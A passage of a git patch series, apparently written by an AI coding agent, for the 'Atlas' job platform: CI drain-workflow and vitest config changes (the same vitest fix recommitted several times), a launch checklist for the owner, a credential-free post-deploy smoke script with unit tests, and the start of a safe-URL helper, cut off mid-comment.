2001 From: Claude Date: Tue, 27 Oct 2026 13:26:44 +0000 Subject: [PATCH 48/91] ci: run apps/*/test in the root vitest suite; drain workflow supports per-service origins apps/web/test/safe-redirect.test.ts was never executed because the root vitest include list only covered packages and services. The drain workflow now accepts either one shared ATLAS_API_BASE_URL or a per-service ATLAS__URL, matching both possible Vercel layouts. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .github/workflows/drain-events.yml | 21 +++++++++++++++++---- vitest.config.ts | 2 +- 2 files changed, 18 insertions(+), 5 deletions(-) diff --git a/.github/workflows/drain-events.yml b/.github/workflows/drain-events.yml index a68eade..821ff32 100644 --- a/.github/workflows/drain-events.yml +++ b/.github/workflows/drain-events.yml @@ -9,7 +9,12 @@ name: Drain events # # Inert until configured. Set, in GitHub -> Settings -> Secrets and variables: # variable ATLAS_API_BASE_URL e.g. https://atlas-backend.example.vercel.app (no trailing slash) -# secret CRON_SECRET the same value set as CRON_SECRET on the Vercel project +# -- when every service is behind ONE Vercel project (root vercel.json) +# variable ATLAS__URL ATLAS_MATCHING_URL, ATLAS_REFERRALS_URL, ATLAS_LEARNING_URL, +# ATLAS_ANALYTICS_URL -- when each service is its OWN Vercel project; +# overrides ATLAS_API_BASE_URL for that service +# secret CRON_SECRET the same value set as CRON_SECRET on the Vercel project(s) +# Every service answers /internal//drain itself, so both layouts use the same path. # # Caveats: GitHub only runs `schedule` on the default branch, may delay runs under # load, and disables schedules after 60 days without repository activity. If the @@ -35,16 +40,24 @@ jobs: strategy: fail-fast: false matrix: - service: [matching, referrals, learning, analytics] + include: + - service: matching + url: ${{ vars.ATLAS_MATCHING_URL }} + - service: referrals + url: ${{ vars.ATLAS_REFERRALS_URL }} + - service: learning + url: ${{ vars.ATLAS_LEARNING_URL }} + - service: analytics + url: ${{ vars.ATLAS_ANALYTICS_URL }} steps: - name: Call the drain endpoint env: - ATLAS_API_BASE_URL: ${{ vars.ATLAS_API_BASE_URL }} + ATLAS_API_BASE_URL: ${{ matrix.url != '' && matrix.url || vars.ATLAS_API_BASE_URL }} CRON_SECRET: ${{ secrets.CRON_SECRET }} SERVICE: ${{ matrix.service }} run: | if [ -z "${ATLAS_API_BASE_URL}" ] || [ -z "${CRON_SECRET}" ]; then - echo "::notice title=Drain skipped::Set the ATLAS_API_BASE_URL variable and CRON_SECRET secret to enable event draining." + echo "::notice title=Drain skipped::Set ATLAS_API_BASE_URL (or ATLAS__URL) and the CRON_SECRET secret to enable event draining." exit 0 fi # --fail-with-body makes a 401/503/5xx fail the job (visible in Actions) diff --git a/vitest.config.ts b/vitest.config.ts index ea5bcff..d194588 100644 --- a/vitest.config.ts +++ b/vitest.config.ts @@ -19,7 +19,7 @@ export default defineConfig({ }, test: { environment: 'node', - include: ['packages/*/test/**/*.test.ts', 'services/*/test/**/*.test.ts'], + include: ['packages/*/test/**/*.test.ts', 'services/*/test/**/*.test.ts', 'apps/*/test/**/*.test.ts'], exclude: ['**/node_modules/**', '**/dist/**'], // Integration tests self-skip when ATLAS_TEST_DATABASE_URL is unset. testTimeout: 20_000, From 9470ac636793e37558fb9044d9308f2fdf78fb0b Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:26:54 +0000 Subject: [PATCH 49/91] test: run apps/*/test in the root vitest config apps/web/test/safe-redirect.test.ts was never collected because the include globs only covered packages/* and services/*. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- vitest.config.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/vitest.config.ts b/vitest.config.ts index ea5bcff..d194588 100644 --- a/vitest.config.ts +++ b/vitest.config.ts @@ -19,7 +19,7 @@ export default defineConfig({ }, test: { environment: 'node', - include: ['packages/*/test/**/*.test.ts', 'services/*/test/**/*.test.ts'], + include: ['packages/*/test/**/*.test.ts', 'services/*/test/**/*.test.ts', 'apps/*/test/**/*.test.ts'], exclude: ['**/node_modules/**', '**/dist/**'], // Integration tests self-skip when ATLAS_TEST_DATABASE_URL is unset. testTimeout: 20_000, From b843be19b3f80967f29e76e701ae2cbb67759a01 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:27:00 +0000 Subject: [PATCH 50/91] test: run apps/*/test in the root vitest config Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- vitest.config.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/vitest.config.ts b/vitest.config.ts index ea5bcff..d194588 100644 --- a/vitest.config.ts +++ b/vitest.config.ts @@ -19,7 +19,7 @@ export default defineConfig({ }, test: { environment: 'node', - include: ['packages/*/test/**/*.test.ts', 'services/*/test/**/*.test.ts'], + include: ['packages/*/test/**/*.test.ts', 'services/*/test/**/*.test.ts', 'apps/*/test/**/*.test.ts'], exclude: ['**/node_modules/**', '**/dist/**'], // Integration tests self-skip when ATLAS_TEST_DATABASE_URL is unset. testTimeout: 20_000, From 281dd674eef6117c012c1c6525000bb10912786a Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:27:15 +0000 Subject: [PATCH 51/91] test: run apps/*/test under the root vitest config Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- vitest.config.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/vitest.config.ts b/vitest.config.ts index ea5bcff..d194588 100644 --- a/vitest.config.ts +++ b/vitest.config.ts @@ -19,7 +19,7 @@ export default defineConfig({ }, test: { environment: 'node', - include: ['packages/*/test/**/*.test.ts', 'services/*/test/**/*.test.ts'], + include: ['packages/*/test/**/*.test.ts', 'services/*/test/**/*.test.ts', 'apps/*/test/**/*.test.ts'], exclude: ['**/node_modules/**', '**/dist/**'], // Integration tests self-skip when ATLAS_TEST_DATABASE_URL is unset. testTimeout: 20_000, From 376d773491920d986db410688d8bb4c18280b257 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:29:03 +0000 Subject: [PATCH 52/91] docs(ops): launch checklist for owner actions and a post-deploy smoke script docs/16 lists everything only the owner can do (Supabase restore and SQL order, auth settings, Vercel env per service, GitHub drain variables, first admin and pilot-org SQL, legal items) and records the assisted-apply and no-fake-send decisions with the evidence behind them. scripts/smoke.mjs checks a deployment without credentials: each function boots and answers 401 from the service, drain routes are protected, web pages render, CORS allows the web origin. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- docs/16_launch_checklist.md | 183 ++++++++++++++++++++++ eslint.config.js | 14 ++ packages/utils/test/smoke-script.test.ts | 57 +++++++ scripts/smoke.mjs | 186 +++++++++++++++++++++++ 4 files changed, 440 insertions(+) create mode 100644 docs/16_launch_checklist.md create mode 100644 packages/utils/test/smoke-script.test.ts create mode 100644 scripts/smoke.mjs diff --git a/docs/16_launch_checklist.md b/docs/16_launch_checklist.md new file mode 100644 index 0000000..7cacfa2 --- /dev/null +++ b/docs/16_launch_checklist.md @@ -0,0 +1,183 @@ +# 16. Launch Checklist (owner actions) + +Everything in this file is something only the project owner can do (it needs +an account, a secret, a legal decision or a dashboard click), or a manual check +after a deploy. Code-side work is tracked in `docs/15_progress.md`. + +Target: **2026-11-17**, individuals plus one university pilot. + +## 0. Product decisions already taken (and what they mean) + +| Decision | Consequence in the product | +|----------|---------------------------| +| **Assisted apply, not auto-submit.** Greenhouse's application endpoint needs the *employer's* Job Board API key, and Lever's apply API needs a key that a Super Admin of the *employer's* account generates. A candidate-side platform has neither, and driving employers' public forms with a browser bot breaks their terms and trips CAPTCHAs. | `POST /v1/applications` accepts `mode: "manual"` only; `mode: "auto"` answers 400 unless `APPLICATIONS_AUTO_MODE_ENABLED=true` (leave it unset). The UI opens the employer's page and lets the user mark the application as submitted. Auto-submit is only realistic later, per employer or university partner that hands over credentials. | +| **No fake email sending.** There is no email provider, so Atlas must not say a message was sent. | Outreach is drafts only (copy, open in the user's mail app, "I sent this"). `OUTREACH_DELIVERY_ENABLED` stays unset. Real delivery needs a provider, a sending domain (SPF/DKIM/DMARC), unsubscribe and consent rules: a separate decision. | +| **Organizations are created by operators**, never from signup metadata (that was a privilege-escalation hole). | A university pilot org is created with SQL by you (section 4). Platform-wide actions (job ingestion, contacts, cross-tenant metrics) require your user id in `PLATFORM_ADMIN_USER_IDS`. | + +## 1. Supabase + +The project `atlas` was **paused** when last checked. A paused free-tier project +serves nothing and auth calls fail. + +1. Restore the project (Dashboard -> project -> Restore). For a launch consider the + Pro plan: free projects pause after a week of inactivity, and Pro adds daily + backups and removes the tight auth-email limits. +2. Apply the database, **in this order**, against the production database: + 1. `DATABASE_URL= pnpm db:migrate` (Drizzle migrations; creates + tables including the event outbox). + 2. `packages/db/supabase/auth-hooks.sql` in the SQL editor. **Re-apply it even if you + applied an older copy**: `handle_new_user` no longer creates organizations or + owners from signup metadata. The file is safe to re-run. + 3. `packages/db/supabase/rls.sql` in the SQL editor. It enables Row Level Security on + every public table and removes `anon`/`authenticated` access, so the public + publishable key cannot read resumes, messages or contacts through the Data API. + Services are unaffected (they connect with a privileged role). Safe to re-run. +3. Use the **pooled** connection string (Supavisor, transaction mode, port 6543) as + `DATABASE_URL` for the Vercel functions. The database client disables prepared + statements, so this is supported. +4. Auth settings (Dashboard -> Authentication): + - **Hooks**: enable the *Custom access token* hook and point it at + `public.custom_access_token_hook` (this puts the organization and role into tokens). + - **Email**: keep *Confirm email* on (the web app handles the "check your inbox" + state). Configure **custom SMTP**; the built-in sender is limited to a handful of + emails per hour and is not for production. + - **URL configuration**: Site URL = the web app origin; add + `/auth/callback` (and `/reset-password` if you use it as a redirect) to + the redirect allow-list. Password-reset and confirmation links return through + `/auth/callback`. + - OAuth providers (Google / Microsoft / GitHub) only if you want them at launch; each + needs its own client id and secret and the callback + `https://.supabase.co/auth/v1/callback`. +5. Storage: create a **private** bucket (default name `resumes`). +6. Keep the *secret* API key (`sb_secret_...`, or the legacy `service_role` key) out of the + repo and out of any `NEXT_PUBLIC_*` variable. It is used only by the profile service + for storage (section 2). + +## 2. Vercel + +The repository supports **either** layout, and the code works with both: + +- **One project** using the root `vercel.json` (committed `api//index.js` + bundles plus public-path rewrites), or +- **One project per service** (the PR checks currently show seven `atlas-*` projects, each + with Root Directory `services/`). + +Pick one and delete the other. Mixed deployments double the preview builds and make the +URLs ambiguous. The Vercel connector in this working session cannot see those projects +(it is authorized for a different scope), so I could not confirm which is live. + +Environment variables (set per project; never commit values): + +| Variable | Where | Notes | +|----------|-------|-------| +| `DATABASE_URL` | every backend service | pooled (port 6543) connection string | +| `SUPABASE_URL` | every backend service | `https://.supabase.co` | +| `CORS_ORIGINS` | every backend service | the web (and admin) origins, comma separated; never `*` in production | +| `CRON_SECRET` | matching, referrals, learning, analytics (and jobs once source ingestion is enabled) | 16+ random characters; the same value goes in the GitHub secret below | +| `MESSAGING_DRIVER` | optional | defaults to `postgres` on Vercel; do not set `memory` | +| `PLATFORM_ADMIN_USER_IDS` | jobs, referrals, learning | comma-separated `auth.users` ids (yours). Empty means nobody | +| `STORAGE_DRIVER=supabase`, `SUPABASE_SECRET_KEY`, `SUPABASE_STORAGE_BUCKET` | profile (and auth once account deletion ships) | without these, uploads fall back to ephemeral temp storage and the service logs a warning | +| `APPLICATIONS_AUTO_MODE_ENABLED` | applications | leave **unset** | +| `OUTREACH_DELIVERY_ENABLED` | outreach | leave **unset** | +| `NEXT_PUBLIC_SUPABASE_URL`, `NEXT_PUBLIC_SUPABASE_PUBLISHABLE_KEY`, `NEXT_PUBLIC_SITE_URL` | web, admin | publishable key only | +| `NEXT_PUBLIC_API_BASE_URL` (single project) **or** `NEXT_PUBLIC__SERVICE_URL` (per service) | web, admin | | + +Vercel Hobby cannot run sub-daily cron jobs and `vercel.json` deliberately has no `crons` +(adding them would fail the deployment). Event draining is scheduled from GitHub +Actions instead (section 3). + +## 3. GitHub (Settings -> Secrets and variables -> Actions) + +| Name | Type | Value | +|------|------|-------| +| `CRON_SECRET` | secret | the same value as on Vercel | +| `ATLAS_API_BASE_URL` | variable | single-project origin, no trailing slash | +| `ATLAS_MATCHING_URL`, `ATLAS_REFERRALS_URL`, `ATLAS_LEARNING_URL`, `ATLAS_ANALYTICS_URL` | variables | per-service origins (instead of `ATLAS_API_BASE_URL`) | + +`.github/workflows/drain-events.yml` runs every five minutes and does nothing until these +exist. Without draining, events are queued but never delivered: no job scores, no +recommendations, no analytics. GitHub only runs `schedule` on the default branch, so +**merge to the default branch** for it to start, and it disables schedules after 60 days +without repository activity. + +## 4. First data + +1. Sign up through the web app, then copy your user id (`select id, email from auth.users;`) + and set it as `PLATFORM_ADMIN_USER_IDS` on jobs, referrals and learning. +2. Create the pilot organization and its staff (SQL editor; `type` must be `university`, + staff roles `admin` or `owner`): + + ```sql + with org as ( + insert into public.organizations (name, type, slug) + values ('Example University Career Services', 'university', 'example-university') + returning organization_id + ) + insert into public.organization_members (organization_id, user_id, role) + select org.organization_id, u.user_id, 'owner' + from org, public.users u + where u.email = 'placement.officer@example.edu'; + ``` + + The roster is **linked, not pre-created**: the `students` table needs a platform account, + so the CSV import attaches each row to the account that has the same email + (case-insensitive) and only *counts* rows that have no account yet + (`noPlatformAccount` in the import result). The flow is therefore: students register + with their institutional email first, then staff import the CSV, and staff re-import + later to pick up students who registered afterwards (re-imports are idempotent). + There is no invitation email; the university has to tell its students to sign up. +3. Job catalog: until the automated source ingestion is enabled, jobs only exist if a + platform admin calls `POST /v1/jobs/ingest`. + +## 5. Legal and policy (owner / counsel, not code) + +- Terms of Service: there is no Terms page. Registration should not go live without one. +- Privacy policy: `/privacy` exists as a static page; have it reviewed against what the + product actually stores (resume text, parsed profile, application history, and for the + university pilot the roster and funnel data staff can see). +- University pilot: a data-sharing agreement with the institution, a lawful basis for the + roster import, and a decision on who is controller and who is processor. Student records + are regulated in many jurisdictions (for example FERPA in the US, GDPR in the EU/UK). +- Outreach: if email delivery is ever added, consent, unsubscribe and anti-spam rules apply. +- Job data: ingestion uses the public board endpoints employers publish for embedding. + Keep the attribution/apply-link behaviour (candidates are always sent to the employer's + own page) and review each provider's terms before adding sources. + +## 6. Verify after every deploy + +```bash +ATLAS_API_BASE_URL=https://api.example.com \ +ATLAS_WEB_URL=https://app.example.com \ +CRON_SECRET=... \ +node scripts/smoke.mjs +``` + +It checks, without credentials and without writing anything: every backend function boots +and answers `401` from the service itself, the drain endpoints are protected (and run when +`CRON_SECRET` is supplied), the web pages render, and CORS allows the web origin. Per-service +layouts set `ATLAS__URL` instead. A `WARN` on a drain probe means `CRON_SECRET` is +not set on that service. + +Then walk the product once by hand: + +1. Register -> confirm email -> sign in. Request a password reset and complete it. +2. Upload a resume (PDF and DOCX) -> it reaches `parsed` with an ATS score. +3. A platform admin ingests or a source fetch adds jobs -> within a few drain cycles the + job matches page lists scored jobs for that resume. +4. Open a job -> check the resume against it -> start an application -> open the employer + page -> mark it submitted -> it appears on the applications page with the job title. +5. University pilot: a student registers, staff imports a roster CSV containing that + student's email (the import result shows it linked rather than `noPlatformAccount`), the + funnel moves as the student applies, and the CSV export downloads. A signed-in user who is + not a member of the organization gets 404. + +## 7. Known risks to carry into launch week + +- **Rate limits are per function instance** (in-memory), so the effective ceiling scales with + warm instances; there is no shared store yet. +- **Drain latency**: events are delivered at most every five minutes, so matches appear + minutes after a resume upload, not instantly. +- **No LLM is wired anywhere.** Matching, resume advice and drafting are deterministic + heuristics; copy must not promise AI-written content. +- **Support and incident response**: no error-tracking vendor is configured; failures are in + Vercel function logs only. diff --git a/eslint.config.js b/eslint.config.js index 41b1b1d..b8958fe 100644 --- a/eslint.config.js +++ b/eslint.config.js @@ -34,4 +34,18 @@ export default tseslint.config( files: ['**/test/**/*.ts', '**/*.config.ts', 'scripts/**/*.ts'], rules: { 'no-console': 'off' }, }, + { + // Node CLI scripts: their output is the product, and Node globals are available. + files: ['scripts/**/*.mjs'], + languageOptions: { + globals: { + process: 'readonly', + console: 'readonly', + URL: 'readonly', + fetch: 'readonly', + AbortSignal: 'readonly', + }, + }, + rules: { 'no-console': 'off' }, + }, ); diff --git a/packages/utils/test/smoke-script.test.ts b/packages/utils/test/smoke-script.test.ts new file mode 100644 index 0000000..0533481 --- /dev/null +++ b/packages/utils/test/smoke-script.test.ts @@ -0,0 +1,57 @@ +import { describe, expect, it } from 'vitest'; +// The post-deploy smoke script lives in scripts/; its decision logic is pure and tested here. +import { AUTH_PROBES, DRAIN_SERVICES, classifyAuthProbe, classifyDrainProbe, serviceOrigin } from '../../../scripts/smoke.mjs'; + +describe('smoke script: origin resolution', () => { + it('prefers a per-service origin over the shared base URL and trims trailing slashes', () => { + const env = { ATLAS_API_BASE_URL: 'https://api.example.com/', ATLAS_JOBS_URL: 'https://jobs.example.com//' }; + expect(serviceOrigin('jobs', env)).toBe('https://jobs.example.com'); + expect(serviceOrigin('auth', env)).toBe('https://api.example.com'); + }); + + it('returns undefined when nothing is configured', () => { + expect(serviceOrigin('auth', {})).toBeUndefined(); + }); + + it('probes every backend service that serves /v1 routes, and every event consumer', () => { + expect(AUTH_PROBES.map((probe) => probe.service).sort()).toEqual( + ['admin', 'analytics', 'applications', 'auth', 'jobs', 'learning', 'outreach', 'profile', 'referrals'].sort(), + ); + expect([...DRAIN_SERVICES].sort()).toEqual(['analytics', 'learning', 'matching', 'referrals']); + }); +}); + +describe('smoke script: auth probe classification', () => { + const json = 'application/json; charset=utf-8'; + + it('passes only a JSON 401 from the service itself', () => { + expect(classifyAuthProbe({ status: 401, contentType: json, body: '{}' }).result).toBe('pass'); + }); + + it.each([ + [404, json, 'route or rewrite'], + [500, json, 'crashed'], + [502, 'text/html', 'crashed'], + [401, 'text/html', 'not a JSON'], + [403, 'text/html', 'platform'], + [200, json, 'unexpected 200'], + ])('fails %i (%s)', (status, contentType, fragment) => { + const verdict = classifyAuthProbe({ status, contentType, body: '' }); + expect(verdict.result).toBe('fail'); + expect(verdict.note).toContain(fragment); + }); +}); + +describe('smoke script: drain probe classification', () => { + it('treats 401 without credentials as protected, 503 as unconfigured, and an open endpoint as a failure', () => { + expect(classifyDrainProbe({ status: 401, authenticated: false }).result).toBe('pass'); + expect(classifyDrainProbe({ status: 503, authenticated: false }).result).toBe('warn'); + expect(classifyDrainProbe({ status: 200, authenticated: false }).result).toBe('fail'); + expect(classifyDrainProbe({ status: 404, authenticated: false }).result).toBe('fail'); + }); + + it('requires 200 when the request carries the secret', () => { + expect(classifyDrainProbe({ status: 200, authenticated: true }).result).toBe('pass'); + expect(classifyDrainProbe({ status: 401, authenticated: true }).result).toBe('fail'); + }); +}); diff --git a/scripts/smoke.mjs b/scripts/smoke.mjs new file mode 100644 index 0000000..a424809 --- /dev/null +++ b/scripts/smoke.mjs @@ -0,0 +1,186 @@ +#!/usr/bin/env node +/** + * Post-deploy smoke check for a Project Atlas deployment. No dependencies, + * no credentials needed, and nothing is written: it only proves each backend + * function boots with valid configuration, is routed correctly, enforces + * authentication, and (optionally) that the web app and CORS are wired. + * + * ATLAS_API_BASE_URL=https://api.example.com \ + * ATLAS_WEB_URL=https://app.example.com \ + * node scripts/smoke.mjs + * + * Layouts (same variables as .github/workflows/drain-events.yml): + * - ONE Vercel project behind a shared origin: set ATLAS_API_BASE_URL. + * - One project PER SERVICE: set ATLAS__URL (ATLAS_AUTH_URL, + * ATLAS_PROFILE_URL, ATLAS_JOBS_URL, ATLAS_MATCHING_URL, + * ATLAS_APPLICATIONS_URL, ATLAS_REFERRALS_URL, ATLAS_OUTREACH_URL, + * ATLAS_LEARNING_URL, ATLAS_ANALYTICS_URL, ATLAS_ADMIN_URL); each + * overrides ATLAS_API_BASE_URL for that service. + * + * Optional: CRON_SECRET makes the drain probes authenticate and actually run a + * drain (it processes queued events, which is safe and idempotent). Without + * it the probes only check that the route is protected. + * + * Exit code is 1 if any check FAILS; WARN means "works, but not fully + * configured yet" and does not fail the run. + */ + +const TIMEOUT_MS = 20_000; +const NIL_UUID = '00000000-0000-4000-8000-000000000000'; + +/** A protected route per service: unauthenticated, it must answer 401 from the service itself. */ +export const AUTH_PROBES = [ + { service: 'auth', path: '/v1/auth/me' }, + { service: 'profile', path: '/v1/resumes' }, + { service: 'jobs', path: '/v1/jobs' }, + { service: 'applications', path: '/v1/applications' }, + { service: 'referrals', path: '/v1/referrals' }, + { service: 'outreach', path: '/v1/messages' }, + { service: 'learning', path: '/v1/learning/metrics' }, + { service: 'analytics', path: '/v1/analytics/summary' }, + { service: 'admin', path: `/v1/admin/organizations/${NIL_UUID}/students` }, +]; + +/** Services that consume events and expose a CRON_SECRET-protected drain route. */ +export const DRAIN_SERVICES = ['matching', 'referrals', 'learning', 'analytics']; + +export const WEB_PATHS = ['/', '/login', '/register', '/forgot-password', '/privacy']; + +/** Resolves the origin for a service: ATLAS__URL, else ATLAS_API_BASE_URL. */ +export function serviceOrigin(service, env) { + const specific = env[`ATLAS_${service.toUpperCase()}_URL`]; + const origin = specific || env.ATLAS_API_BASE_URL; + return origin ? origin.replace(/\/+$/, '') : undefined; +} + +/** + * Classifies an unauthenticated probe response. A 401 whose body is the + * service's JSON error envelope proves the function ran; HTML or a platform + * error page means it did not. + */ +export function classifyAuthProbe({ status, contentType, body }) { + const isJson = (contentType ?? '').includes('application/json'); + if (status === 401 && isJson) return { result: 'pass', note: '401 from the service' }; + if (status === 404) return { result: 'fail', note: '404: route or rewrite is not wired to this function' }; + if (status >= 500) return { result: 'fail', note: `${status}: function crashed or failed to boot (check env and logs)` }; + if (status === 401) return { result: 'fail', note: '401 but not a JSON error envelope (platform auth/protection in front?)' }; + if (status === 403 && !isJson) return { result: 'fail', note: '403 from the platform (Vercel deployment protection?), not from the service' }; + return { result: 'fail', note: `unexpected ${status}${body ? `: ${String(body).slice(0, 80)}` : ''}` }; +} + +/** Classifies a drain probe: 401 = protected and configured, 503 = CRON_SECRET unset, 200 = ran. */ +export function classifyDrainProbe({ status, authenticated }) { + if (authenticated) { + return status === 200 + ? { result: 'pass', note: 'drained' } + : { result: 'fail', note: `${status}: authenticated drain did not succeed` }; + } + if (status === 401) return { result: 'pass', note: 'protected (401 without credentials)' }; + if (status === 503) return { result: 'warn', note: '503: CRON_SECRET is not set on this service, so events are never drained' }; + if (status === 404) return { result: 'fail', note: '404: drain route is not reachable' }; + if (status === 200) return { result: 'fail', note: '200 without credentials: drain endpoint is OPEN' }; + return { result: 'fail', note: `unexpected ${status}` }; +} + +async function request(url, init = {}) { + const response = await fetch(url, { ...init, redirect: 'manual', signal: AbortSignal.timeout(TIMEOUT_MS) }); + const contentType = response.headers.get('content-type') ?? ''; + const body = contentType.includes('json') || contentType.includes('text') ? await response.text() : ''; + return { status: response.status, contentType, headers: response.headers, body }; +} + +async function run(env) { + const rows = []; + const add = (check, result, note) => rows.push({ check, result, note }); + + for (const probe of AUTH_PROBES) { + const origin = serviceOrigin(probe.service, env); + const check = `${probe.service}: GET ${probe.path} (no credentials)`; + if (!origin) { + add(check, 'skip', `set ATLAS_API_BASE_URL or ATLAS_${probe.service.toUpperCase()}_URL`); + continue; + } + try { + const response = await request(`${origin}${probe.path}`); + const verdict = classifyAuthProbe(response); + add(check, verdict.result, verdict.note); + } catch (cause) { + add(check, 'fail', `request failed: ${cause instanceof Error ? cause.message : String(cause)}`); + } + } + + for (const service of DRAIN_SERVICES) { + const origin = serviceOrigin(service, env); + const check = `${service}: POST /internal/${service}/drain`; + if (!origin) { + add(check, 'skip', `set ATLAS_API_BASE_URL or ATLAS_${service.toUpperCase()}_URL`); + continue; + } + const url = `${origin}/internal/${service}/drain`; + try { + const anonymous = await request(url, { method: 'POST' }); + const verdict = classifyDrainProbe({ status: anonymous.status, authenticated: false }); + add(`${check} (no credentials)`, verdict.result, verdict.note); + if (env.CRON_SECRET) { + const authed = await request(url, { method: 'POST', headers: { authorization: `Bearer ${env.CRON_SECRET}` } }); + const authedVerdict = classifyDrainProbe({ status: authed.status, authenticated: true }); + add(`${check} (CRON_SECRET)`, authedVerdict.result, authedVerdict.note); + } + } catch (cause) { + add(check, 'fail', `request failed: ${cause instanceof Error ? cause.message : String(cause)}`); + } + } + + const web = env.ATLAS_WEB_URL?.replace(/\/+$/, ''); + if (!web) { + add('web: pages', 'skip', 'set ATLAS_WEB_URL'); + } else { + for (const path of WEB_PATHS) { + try { + const response = await request(`${web}${path}`); + const ok = response.status === 200 && response.contentType.includes('text/html'); + add(`web: GET ${path}`, ok ? 'pass' : 'fail', ok ? '200 html' : `${response.status} ${response.contentType}`); + } catch (cause) { + add(`web: GET ${path}`, 'fail', `request failed: ${cause instanceof Error ? cause.message : String(cause)}`); + } + } + const authOrigin = serviceOrigin('auth', env); + if (authOrigin) { + try { + const response = await request(`${authOrigin}/v1/auth/me`, { + method: 'OPTIONS', + headers: { origin: web, 'access-control-request-method': 'GET', 'access-control-request-headers': 'authorization' }, + }); + const allowed = response.headers.get('access-control-allow-origin'); + add( + 'cors: web origin may call the API', + allowed === web ? 'pass' : 'fail', + allowed === web ? `allow-origin ${allowed}` : `allow-origin is "${allowed ?? 'absent'}", expected "${web}" (set CORS_ORIGINS)`, + ); + } catch (cause) { + add('cors: web origin may call the API', 'fail', `request failed: ${cause instanceof Error ? cause.message : String(cause)}`); + } + } + } + + return rows; +} + +function printReport(rows) { + const icon = { pass: 'PASS', warn: 'WARN', fail: 'FAIL', skip: 'SKIP' }; + const width = Math.max(...rows.map((row) => row.check.length)); + for (const row of rows) console.log(`${icon[row.result]} ${row.check.padEnd(width)} ${row.note}`); + const count = (result) => rows.filter((row) => row.result === result).length; + console.log(`\n${count('pass')} passed, ${count('warn')} warnings, ${count('fail')} failed, ${count('skip')} skipped`); +} + +const isMain = process.argv[1] && import.meta.url === new URL(`file://${process.argv[1]}`).href; +if (isMain) { + const rows = await run(process.env); + printReport(rows); + if (rows.every((row) => row.result === 'skip')) { + console.error('\nNothing was checked: set ATLAS_API_BASE_URL (and/or ATLAS__URL, ATLAS_WEB_URL).'); + process.exit(2); + } + process.exit(rows.some((row) => row.result === 'fail') ? 1 : 0); +} From db78ed79e40773855a3be03fbeb2fd2cdf253b66 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:29:42 +0000 Subject: [PATCH 53/91] test: run apps/*/test in the root vitest config Per coordinator request: apps/web/test/*.test.ts was not being executed. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- vitest.config.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/vitest.config.ts b/vitest.config.ts index ea5bcff..d194588 100644 --- a/vitest.config.ts +++ b/vitest.config.ts @@ -19,7 +19,7 @@ export default defineConfig({ }, test: { environment: 'node', - include: ['packages/*/test/**/*.test.ts', 'services/*/test/**/*.test.ts'], + include: ['packages/*/test/**/*.test.ts', 'services/*/test/**/*.test.ts', 'apps/*/test/**/*.test.ts'], exclude: ['**/node_modules/**', '**/dist/**'], // Integration tests self-skip when ATLAS_TEST_DATABASE_URL is unset. testTimeout: 20_000, From 077337f4c544ed11547d140e8305c86c477ddd22 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:32:03 +0000 Subject: [PATCH 54/91] feat(web): pure helpers and service clients for the job-to-apply journey Safe external URL check (http/https only, no credentials), lenient parsing of the applications service's Postgres-style timestamps, application list / apply-stage view-models, resume-check report view-model, job description and salary formatting, and user-facing failure messages. Adds getJob, application get/event/lookup and optimizeResume clients. Unit tests included. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .../components/applications/external-url.ts | 44 ++++ .../applications/failure-message.ts | 66 +++++ .../src/components/applications/timestamp.ts | 67 +++++ .../src/components/applications/view-model.ts | 134 ++++++++++ .../web/src/components/jobs/job-view-model.ts | 126 ++++++++++ .../resume-check/report-view-model.ts | 169 +++++++++++++ apps/web/src/lib/services/applications.ts | 76 +++++- apps/web/src/lib/services/jobs.ts | 21 +- apps/web/src/lib/services/profile.ts | 23 +- apps/web/test/applications-view-model.test.ts | 228 ++++++++++++++++++ apps/web/test/external-url.test.ts | 85 +++++++ apps/web/test/failure-message.test.ts | 90 +++++++ apps/web/test/job-view-model.test.ts | 123 ++++++++++ apps/web/test/report-view-model.test.ts | 222 +++++++++++++++++ apps/web/test/timestamp.test.ts | 86 +++++++ 15 files changed, 1553 insertions(+), 7 deletions(-) create mode 100644 apps/web/src/components/applications/external-url.ts create mode 100644 apps/web/src/components/applications/failure-message.ts create mode 100644 apps/web/src/components/applications/timestamp.ts create mode 100644 apps/web/src/components/applications/view-model.ts create mode 100644 apps/web/src/components/jobs/job-view-model.ts create mode 100644 apps/web/src/components/resume-check/report-view-model.ts create mode 100644 apps/web/test/applications-view-model.test.ts create mode 100644 apps/web/test/external-url.test.ts create mode 100644 apps/web/test/failure-message.test.ts create mode 100644 apps/web/test/job-view-model.test.ts create mode 100644 apps/web/test/report-view-model.test.ts create mode 100644 apps/web/test/timestamp.test.ts diff --git a/apps/web/src/components/applications/external-url.ts b/apps/web/src/components/applications/external-url.ts new file mode 100644 index 0000000..c660aab --- /dev/null +++ b/apps/web/src/components/applications/external-url.ts @@ -0,0 +1,44 @@ +/** + * Gatekeeper for any URL that originated outside Atlas (a job's apply link + * comes from a third-party feed) before it is put in an `href`. + * + * Returns the browser's own normalised form of the URL when it is a plain + * `http:` / `https:` link, otherwise `null`. Rendering the normalised `href` + * rather than 